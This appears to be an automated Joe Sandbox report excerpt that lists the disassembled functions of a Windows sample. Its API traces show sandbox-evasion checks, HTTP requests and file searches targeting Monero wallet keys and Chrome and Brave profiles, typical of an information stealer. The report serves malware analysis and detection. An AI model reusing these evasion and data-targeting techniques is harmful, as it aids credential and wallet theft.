Instruction ID: 56848e4a0d9a8341872a63fbb8e8a46d62d9e76056a42421ad43ddb698981f75
Opcode Fuzzy Hash: c6c3266ee73cfdad01cdd7be8abaf69fed322282218919e951389580eda7c53c
Instruction Fuzzy Hash: C6312371940218ABDB04F7F0DC56FEE7778AF24301F90452AF502A22D2DF749905D7A6

Function 001D6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E38F10,?,001E110C,?,00000000,?,001E1110,?,00000000,001E0AEF), ref: 001D6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001D6AE8
CloseHandle.KERNEL32(00000000), ref: 001D6AF9
Sleep.KERNEL32(00001770), ref: 001D6B04
CloseHandle.KERNEL32(?,00000000,?,00E38F10,?,001E110C,?,00000000,?,001E1110,?,00000000,001E0AEF), ref: 001D6B1A
ExitProcess.KERNEL32 ref: 001D6B22

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5e7c4082baa9063e73f45a5f2453f5ae50197617195a035fe675c7e6c4c7a726
Instruction ID: 7fb685d9ee84127ecffa19bf0666dec68f0f017d93d8810926bdf130a1a6a69e
Opcode Fuzzy Hash: 5e7c4082baa9063e73f45a5f2453f5ae50197617195a035fe675c7e6c4c7a726
Instruction Fuzzy Hash: D6F05E30A40329AFEB00EBA0DD06BBD7B34EF14701F108927F502B22C1DBB05540D69A

Function 001C47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001C4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 001C4849

Strings

<, xrefs: 001C47C9

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d848d08b347225a9497ec311338d721512b4568ee7c6ac5dcdd9bb420c653a05
Instruction ID: edd66646892c595c9eac4ff7dc96356dee268a44041d651a7ae58e707aab177c
Opcode Fuzzy Hash: d848d08b347225a9497ec311338d721512b4568ee7c6ac5dcdd9bb420c653a05
Instruction Fuzzy Hash: 5F213EB1D00209ABDF14DFA4E845ADE7B75FF45320F108626F915A7281EB706A05CB81

Function 001D51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C6280: InternetOpenA.WININET(001E0DFE,00000001,00000000,00000000,00000000), ref: 001C62E1
Part of subcall function 001C6280: StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C6303
Part of subcall function 001C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001C6335
Part of subcall function 001C6280: HttpOpenRequestA.WININET(00000000,GET,?,00E3E3A0,00000000,00000000,00400100,00000000), ref: 001C6385
Part of subcall function 001C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001C63BF
Part of subcall function 001C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001C63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001D5228

Strings

ERROR, xrefs: 001D5273
ERROR, xrefs: 001D521A

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a2af049968789feb381dd098d31c91f7b5f0f733f73922e7a4419e5c5e7805e8
Instruction ID: 6b0851df024d570ee83375b9463608ad444015e55776f914caec84c7662da607
Opcode Fuzzy Hash: a2af049968789feb381dd098d31c91f7b5f0f733f73922e7a4419e5c5e7805e8
Instruction Fuzzy Hash: FC110030910148ABCB14FF64DD52EED7339AF70300FC04159F81A5B692EF71AB09D695

Function 001C1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001C123E
ExitProcess.KERNEL32 ref: 001C1294

Strings

@, xrefs: 001C1233

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: bd5aa85a939fa23bccdf5f5469f3fcfa27b1a0be3953e86d6baf9f7ff91a0cfc
Instruction ID: 61040eea1f1da2640a96c8256310a6e24c66d23e82c411431326c6ee297c3a2b
Opcode Fuzzy Hash: bd5aa85a939fa23bccdf5f5469f3fcfa27b1a0be3953e86d6baf9f7ff91a0cfc
Instruction Fuzzy Hash: A5016DB0D80308BAEB10EBE0DC49FAEBB78AB25705F208059F705B72C1D77495418799

Function 001D78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7910
RtlAllocateHeap.NTDLL(00000000), ref: 001D7917
GetComputerNameA.KERNEL32(?,00000104), ref: 001D792F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 7e1c7723826807b1fb228f38aa319878f9278e98de2c17a90a89c88d1423890a
Instruction ID: 58cd965297c62804d37abc2e6c033d49b70b734a17c05f1dcf54022e3a9794b9
Opcode Fuzzy Hash: 7e1c7723826807b1fb228f38aa319878f9278e98de2c17a90a89c88d1423890a
Instruction Fuzzy Hash: 1D0162B2944308EBC704EF95DD45BAEBBB8F704B25F10422AE545A3380D3745904CBA1

Function 001C1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001C112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 001C1132
ExitProcess.KERNEL32 ref: 001C1143

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 219544a1f1129a3b77173bee66406dc3b07ca09323dcf3a3980a5f000786b7fe
Instruction ID: 3d2d2482cb582aabc201830e5967484baf845bebe06df485a3dcb9c86b473bd2
Opcode Fuzzy Hash: 219544a1f1129a3b77173bee66406dc3b07ca09323dcf3a3980a5f000786b7fe
Instruction Fuzzy Hash: 6AE0E671985308FBE7106BA09D0AF097678AB15B01F104154F709761D1D7B56650969D

Function 001C10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001C10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001C10F7

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 17a939e22e1aa02aaa94616b9ac78de7dd0bae042a0c7b231831e468c1221e73
Instruction ID: 43bcbe6808e8632941de006a5b51afa8db644ba291e92c2da1c0baacd52e2f8c
Opcode Fuzzy Hash: 17a939e22e1aa02aaa94616b9ac78de7dd0bae042a0c7b231831e468c1221e73
Instruction Fuzzy Hash: 42F0E271681308BBE714AAA4AC59FAEB7E8E705B15F305458F504E3280D6719E00CAA5

Function 001C1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7910
Part of subcall function 001D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001D7917
Part of subcall function 001D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001D792F

Part of subcall function 001D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001C11B7), ref: 001D7880
Part of subcall function 001D7850: RtlAllocateHeap.NTDLL(00000000), ref: 001D7887
Part of subcall function 001D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001D789F

ExitProcess.KERNEL32 ref: 001C11C6

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 82e4113e2445854a60557f74b01a94a5480865b4db56b0a2769fd70d9a769aa7
Instruction ID: a283d6094b48dbd68e8665895b993214926aafe130047504ce0a5bd0ed67cd1c
Opcode Fuzzy Hash: 82e4113e2445854a60557f74b01a94a5480865b4db56b0a2769fd70d9a769aa7
Instruction Fuzzy Hash: C4E012B595430163CA0073F4AD0AF2A329C5B35349F08083AFA05E3343FB79F810956A

Non-executed Functions

Function 001D38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001D38CC
FindFirstFileA.KERNEL32(?,?), ref: 001D38E3
lstrcat.KERNEL32(?,?), ref: 001D3935
StrCmpCA.SHLWAPI(?,001E0F70), ref: 001D3947
StrCmpCA.SHLWAPI(?,001E0F74), ref: 001D395D
FindNextFileA.KERNEL32(000000FF,?), ref: 001D3C67
FindClose.KERNEL32(000000FF), ref: 001D3C7C

Strings

%s\%s\%s, xrefs: 001D3A4A
%s\%s, xrefs: 001D397A
%s\%s, xrefs: 001D3A6F
%s%s, xrefs: 001D3AAD
%s\*, xrefs: 001D38C0

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 04681d7930a513cc878278ffa3becd08d73bfa5ba1f482f203e60f1c1af33b54
Instruction ID: 4461e5c6d42108e221b41b9ba63afb6839398d2c24da5fb9e8171d68c0788b1a
Opcode Fuzzy Hash: 04681d7930a513cc878278ffa3becd08d73bfa5ba1f482f203e60f1c1af33b54
Instruction Fuzzy Hash: 77A161B2A00308ABDB24EFA4DD85FEE7378BF58300F044599E51DA6141EB759B94CF62

Function 001CBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

FindFirstFileA.KERNEL32(00000000,?,001E0B32,001E0B2B,00000000,?,?,?,001E13F4,001E0B2A), ref: 001CBEF5
StrCmpCA.SHLWAPI(?,001E13F8), ref: 001CBF4D
StrCmpCA.SHLWAPI(?,001E13FC), ref: 001CBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 001CC7BF
FindClose.KERNEL32(000000FF), ref: 001CC7D1

Strings

Google Chrome, xrefs: 001CC634
Brave, xrefs: 001CC102
Preferences, xrefs: 001CC11E
\Brave\Preferences, xrefs: 001CC1DB

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 56888f76015318d567baf60b2d4794dc4c817567173a41dc16a25481df5f16e6
Instruction ID: 5d440650d9afe22269974f0b09d7325150928002ecc91e6a037a870e2ae2ee02
Opcode Fuzzy Hash: 56888f76015318d567baf60b2d4794dc4c817567173a41dc16a25481df5f16e6
Instruction Fuzzy Hash: 68426572910114ABCB14FB70DD96EEE737DAF64300F804569F90AA6281EF349F49CB96

Function 001D4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001D492C
FindFirstFileA.KERNEL32(?,?), ref: 001D4943
StrCmpCA.SHLWAPI(?,001E0FDC), ref: 001D4971
StrCmpCA.SHLWAPI(?,001E0FE0), ref: 001D4987
FindNextFileA.KERNEL32(000000FF,?), ref: 001D4B7D
FindClose.KERNEL32(000000FF), ref: 001D4B92

Strings

%s\%s, xrefs: 001D49A4
%s\%s, xrefs: 001D49FB
%s\*, xrefs: 001D4920

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
